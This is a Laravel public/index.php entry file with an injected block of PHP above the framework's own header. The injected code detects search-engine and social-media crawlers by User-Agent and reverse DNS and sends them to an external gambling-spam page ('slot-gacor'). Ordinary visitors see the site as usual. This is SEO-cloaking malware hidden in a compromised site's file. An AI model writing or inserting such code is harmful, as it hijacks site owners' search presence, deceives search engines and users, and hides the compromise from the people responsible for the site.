<?php
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'] ?? '';

// List of known bots and tools
$botKeywords = [
    'Googlebot', 'Google-InspectionTool', 'Google-Site-Verification', 'Bingbot', 'Slurp',
    'DuckDuckBot', 'Baiduspider', 'YandexBot', 'Sogou', 'Exabot',
    'facebot', 'ia_archiver', 'AhrefsBot', 'SemrushBot', 'MJ12bot',
    'DotBot', 'SeznamBot', 'PetalBot', 'Screaming Frog', 'SiteAuditBot',
    'GoogleSearchConsole', 'Google-Structured-Data-Testing-Tool', 'Google-Pagespeed-Insights',
    'RichResultTester', 'Lighthouse', 'Google Favicon',
    'facebookexternalhit', 'Twitterbot', 'LinkedInBot', 'Embedly', 'WhatsApp'
];

// Check if User-Agent contains known bot keywords
$isBotUA = false;
foreach ($botKeywords as $bot) {
    if (stripos($userAgent, $bot) !== false) {
        $isBotUA = true;
        break;
    }
}

// Perform reverse DNS lookup to verify IP is from Google
$host = gethostbyaddr($ip);
$isVerifiedGoogle = (strpos($host, 'googlebot.com') !== false || strpos($host, 'google.com') !== false);

// If User-Agent matches bot list OR IP reverse DNS verifies, redirect
if ($isBotUA || $isVerifiedGoogle) {
    header("Location: https://canvascollege-1jy.pages.dev/slot-gacor");
    exit;
}

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__.'/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__.'/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);

$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);

$response->send();

$kernel->terminate($request, $response);
